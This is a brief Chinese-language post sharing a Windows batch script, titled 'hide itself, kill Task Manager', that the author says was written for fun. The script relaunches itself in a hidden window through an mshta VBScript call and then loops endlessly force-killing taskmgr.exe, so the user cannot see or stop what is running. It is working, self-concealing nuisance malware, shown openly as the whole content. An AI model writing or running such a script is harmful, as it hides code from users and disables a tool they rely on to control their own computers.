隐藏本身，杀任务管理器

 

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
for /l %%i in (1,1,255) do taskkill /f /im taskmgr.exe>nul 2>nul&ping 127.0.1 /n 1>nul
goto begin

自己感兴趣写着玩的